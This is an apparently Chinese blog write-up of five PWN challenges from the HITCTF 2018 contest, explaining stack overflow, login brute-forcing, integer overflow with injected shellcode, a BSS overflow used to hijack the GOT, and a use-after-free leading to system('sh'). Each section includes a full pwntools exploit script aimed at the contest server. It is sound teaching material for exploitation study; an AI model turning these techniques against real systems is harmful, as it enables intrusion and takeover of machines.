HITCTF 2018 PWN 题记录

HITCTF是哈尔滨工业大学组织的一场校赛,在假期时间看了一下题目,锻炼一下,以此记录。

本次比赛共有五道PWN题:

  • stackoverflow (栈溢出)
  • login(爆破)
  • DragonBall(整数溢出)
  • nodes(溢出BSS段,影响程序逻辑)
  • babynote(UAF)

stackoverflow

此题目是PWN题的签到题,函数逻辑简单,在主函数调用的vuln函数中存在明显的栈溢出漏洞

可以溢出覆盖0x18个字节,并且没有开启canary保护, 可以利用ROP技术控制执行流

如程序中存在一个flag函数,可以直接获取flag

exp.py脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
debug =0
elf = ELF('./stackoverflow')
if debug:
p = process('./stackoverflow')
context.log_level = 'debug'
else:
p = remote('111.230.132.82',40000)
context.log_level = 'debug'


p.recvuntil('Welcome to pwn world!\nLeave your name:')
p.send('a'*0x28+p32(0xdeadbeef)+p32(0x80485df)+p32(0xdeadbeef)+p32(0xdeadbeef)+p32(0xc0ffee))

p.interactive()

login

此题的整体代码逻辑很清晰,首先登录一次,然后再过一次check,就可以直接得到flag

对比两个用户名密码的check函数可以发现其中的不同:

很明显发现其不同点在于strncmp的参数上,第一个函数参数长度是用户输入的长度,第二次是固定的长度。此时可以发现两个hint。

  1. password的长度是0x20(抖机灵)
  2. 由于password是固定的,因此可以通过爆破的方法来验证,每次爆破一位不断叠加,即可得到其真实密码。

爆破的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
'''
10_adhUNwj_qidACn_qdXon912_uhdq6
'''
debug = 0
if debug:
p = process('./login')
#libc = ELF('./libc.local.so')
#off = 0x001b2000
context.log_level = 'debug'
#gdb.attach(p)
else:
p = remote('111.230.132.82', 40001)
#context.log_level = 'debug'
#libc = ELF('./libc_32.so.6')
password = ''
dic = range(33,127)


def login(j):
global password
print 'password' + chr(j)
if debug:
p = process('./login')
context.log_level = 'debug'
else:
p = remote('111.230.132.82', 40001)
#context.log_level = 'debug'
p.recvuntil('Username:')
p.sendline('root')
p.recvuntil('Password: ')
p.sendline(password+chr(j))
a = p.recvline()
print a
if 'successful' in a:
p.close()
return chr(j)
else:
p.close()
return '00'

def boom():
global password
for i in range(0,0x20):
pro = log.progress('go')
for j in dic:
pro.status('boom for '+chr(j))
#tmp = ''
tmp = login(j)
#print tmp
if tmp!='00':
password = password + tmp
pro.success(': is '+password)
print 'password is ',password
break

password = ''
boom()
p.interactive()

DragonBall

程序大意是 手中共有15个金币, 购买一个龙珠需要5金币,出售一个龙珠3金币,当集齐7颗龙珠以后就能实现愿望了(wish())。

漏洞利用

wish()函数中有明显的溢出漏洞,但是很不充分,溢出仅能覆盖返回地址和EBP,如果单纯写rop很难,除非有很好的跳板,但是并没有发现jmp xxx的跳板,一度陷入僵局…

突然想起查了一下保护开启情况,发现没有开NX保护,也就是说可以执行shellcode…

就是说可以在第一块内写入execve(‘/bin/sh’)的shellcode,然后覆盖返回地址去执行,仅需知道该处的地址即可,需要泄露栈地址,此处可以从第一处写入部分去泄露,泄露wish()的ebp地址,即可得到shellcode起始位置的地址了。

整数溢出

漏洞在于buy()中,仅检测是否money!=0的情况,也就是说构造一个money不为5的倍数即可无限制购买,很显然可以先买一个再卖出,就剩余13个金币,无论如何都不可能为0,因此可以无限制购买龙珠,最后达成愿望。

最终,利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
debug = 0
elf = ELF('./DragonBall')
if debug:
p = process('./DragonBall')
context.log_level = 'debug'

else:
p = remote('111.230.132.82', 40002)
context.log_level = 'debug'

p.recvuntil('You choice: ')
p.sendline('1')
p.recvuntil('You choice: ')
p.sendline('2')
for i in range(7):
p.recvuntil('You choice: ')
p.sendline('1')
p.recvuntil('You choice: ')
p.sendline('4')

p.recvuntil('Tell me your wish: ')
payload = asm(shellcraft.sh())
payload = payload.ljust(0x66,'a')

p.sendline(payload+'b')
p.recvuntil('ab')
stack_leak = u32(p.recv(5)[1:])
print 'stack_leak : ',hex(stack_leak)
offset = 0xffa7cc48-0xffa7cbc0
payload_addr = stack_leak - offset
print 'shellcode : ',hex(payload_addr)
p.recvuntil('is it right?\n(Y/N) ')
p.sendline('a'*0x38+p32(stack_leak)+p32(payload_addr))
p.interactive()

notes

程序的大概内容是程序维护这一个链表,链表各块使用malloc分配,大小为0x38(56)个字节,最开始四字节是一个unsigned int,命名为value,相当于一个索引,之后的48个字节为data,最后四字节为下一个块的地址。

程序利用value值遍历这个链表,找到这个链表的第一个value相同的项进行修改。

在这期间没有任何溢出问题。

漏洞位置

漏洞出现的原因有2点

  1. 程序利用bss段上的某一个值对data长度进行限定,初始值为48
  2. 程序输出是先用sprintf函数拷贝到bss段上某一个位置,在用puts进行打印,而由于该缓存字符串的长度限定有问题,在建立了100个字节以上的节点时,会出现溢出现象,而溢出的点恰好为1中提到的data长度,将其覆盖成为字符’s’,也就是115,进一步造成了堆溢出。

漏洞利用

漏洞利用思路是首先构造100个节点,造成堆溢出,此时可以的输入可以覆盖到下一块的地址部分,也就是说可以劫持链表,利用程序功能造成内存任意读写。

  1. 首先将某数据库的下一块地址覆盖为puts@got地址,这样利用打印功能可以泄露libc的puts函数地址。
  2. 再对该块进行写操作,利用的索引即是泄露的puts地址,因为该块已经在链表中了,将该块地址覆写为一个one_gadget地址,最终利用puts函数的调用触发,即劫持got表。

利用脚本如下:(io貌似还有点问题没有解决)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import time

debug = 0
elf = ELF('./nodes')
if debug:
p = process('./nodes')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level = 'debug'

else:
p = remote('111.230.132.82', 40003)
context.log_level = 'debug'
libc = ELF('./libc.so.6')

def add(value,data):
p.recvuntil('please input your choice:')
p.sendline('1')
p.recvuntil('Value:')
p.send(str(value)+'\0')
p.recvuntil('Data:')
p.sendline('')
#time.sleep()
p.recvuntil('nodes\n')

#def change
for i in range(1,103):
add(i,'a')

p.recvuntil('please input your choice:')
p.sendline('3')
p.recvuntil('please input your choice:')
p.sendline('2\0')
p.recvuntil('Node\'s value:')
p.sendline('101')
p.recvuntil('New value:')
p.sendline('101')
p.recvuntil('New data:')
p.sendline('a'*48+p32(elf.got['puts']))

p.recvuntil('please input your choice:')
p.sendline('3')
p.recvuntil('Value:101\n')
p.recvline()
p.recvline()
a = p.recvline()
puts_addr = int(a[6:-1],10)
libc.address = puts_addr - libc.symbols['puts']
print '[+]puts addr:',hex(puts_addr)
p.recvuntil('please input your choice:')
p.sendline('2')
p.recvuntil('Node\'s value:')
p.sendline(a[6:-1])
p.recvuntil('New value:')
p.sendline(str(libc.address+0x3ac5c))
p.recvuntil('New data:')
p.sendline('')
p.recvuntil('choice:')
p.sendline('4')
p.interactive()

'''
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL

0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL

0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL

0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL

0x5fbc5 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL

0x5fbc6 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL

'''

babynote

一道比较典型的UAF漏洞。

逻辑分析

程序逻辑是一个可以任意输入的note,每一个note分为了两部分:block和content

block的结构为:

1
2
3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| size(int) | content address | function ptr |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

content的大小为size值

add函数中详细的为每一个变量赋值,尤其是function ptr,初始值为某自实现的puts函数

print函数中显示了调用function ptr函数的参数和方法,可以想到如果可以劫持function ptr就可以执行任意命令

在程序中要求最多可以生成3个note,分别存储在bss段上的一个数组内

利用思路

显然,由于在edit的时候并没有检查堆块是否已经被释放,因此,存在明显的UAF(Use After Free)漏洞。

而且删除堆块时程序的释放顺序是先释放content,再释放block,由于fastbin的LIFO性质,可以明显知道

1
2
3
add(0xc,'p4nda')
delete(0)
add(0xc,'p4nda')

使用的堆块是不变的,因此想要用分配得到的content控制一个note的block,进而控制function ptr的方法必须让堆块分配不平衡。

比如

1
2
3
4
5
add(0x100,'p4nda')
add(0xc,'p4nda')
delete(1)
delete(0)
add(0xc,payload)

这样分配,可以导致第0个note的block分配给第2个note的block,而第1个note的block会分配给第二个note作为content,是可以编辑的,进一步可以劫持控制流。

地址泄露

此题开启了PIE保护,不可以使用题目文件中的固定地址了。同时需要利用获取system地址,来得到shell,因此泄露一个libc地址是很必要的。

这时存在一个堆块分配与释放的机制问题,堆块在libc的内存管理中主要分fastbin、unsorted bin、 small bin、large bin、top、mmap来管理,其中fastbin管理的是较小堆块,当内存小于global_max_fast值时,在内存释放时会挂载到fastbin中,而稍大一些的small bin、large bin在释放时,当不与top头相邻,会先挂载到unsorted bin中去。

而如何寻找到各个bin的地址?libc在bss段上设置了一个结构体变量叫 main_arena,变量的各个成员就是每个bin的开头,如图

在libc符号表中,没有mainarena的符号,但该地址与\_mallochook很近,通常利用 \_mall_hook来定位main_arena

在各个bin链表中,不同的链表有不同的组织方式,如fastbin是单链表,unsorted bin、small bin是双链表,largebin更为复杂。因此,常用的地址泄露的方式是从unsorted bin泄露,当可以任意读取unsorted bin数据时,堆块的fd位置即为main_arena中unsorted bin地址。

如在此题中就可以用这种方式泄露

劫持控制流

1
2
3
4
5
add(0x100,'p4nda')
add(0xc,'p4nda')
delete(1)
delete(0)
add(0xc,payload)

当按上述方法控制了第1块的block时,修改payload即可完成对控制流的劫持,如利用泄露的libc地址获取system()地址,将其覆盖到function ptr时,在将size覆盖成 sh\x00\x00,利用print(1)进行触发即可获得一个shell

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 'sh\0\0'    |     anything     |    system address    | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
debug = 0
elf = ELF('./babynote')
if debug:
p = process('./babynote')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level = 'debug'
else:
p = remote('111.230.132.82', 40004)
context.log_level = 'debug'
libc = ELF('./libc.so.6')



def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('content:')
p.send(content)

def edit(index,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('content')
p.send(content)

def print_note(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(index))

def delete(index):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(index))

add(0x100,'p4nda')
add(0xc,'p4nda')


delete(1)
delete(0)
print_note(0)
libc_leak_addr = u32(p.recv(4))
libc.address = libc_leak_addr - libc.symbols['__malloc_hook']-48-0x18
print '[+] system :',hex(libc.symbols['system'])
add(0xc,'sh\0\0'+p32(next(libc.search('/bin/sh')))+p32(libc.symbols['system']))
print_note(1)
p.interactive()

题目

文章目录
  1. 1. stackoverflow
  2. 2. login
  3. 3. DragonBall
    1. 3.1. 漏洞利用
    2. 3.2. 整数溢出
  4. 4. notes
    1. 4.1. 漏洞位置
    2. 4.2. 漏洞利用
  5. 5. babynote
    1. 5.1. 逻辑分析
    2. 5.2. 利用思路
    3. 5.3. 地址泄露
    4. 5.4. 劫持控制流
|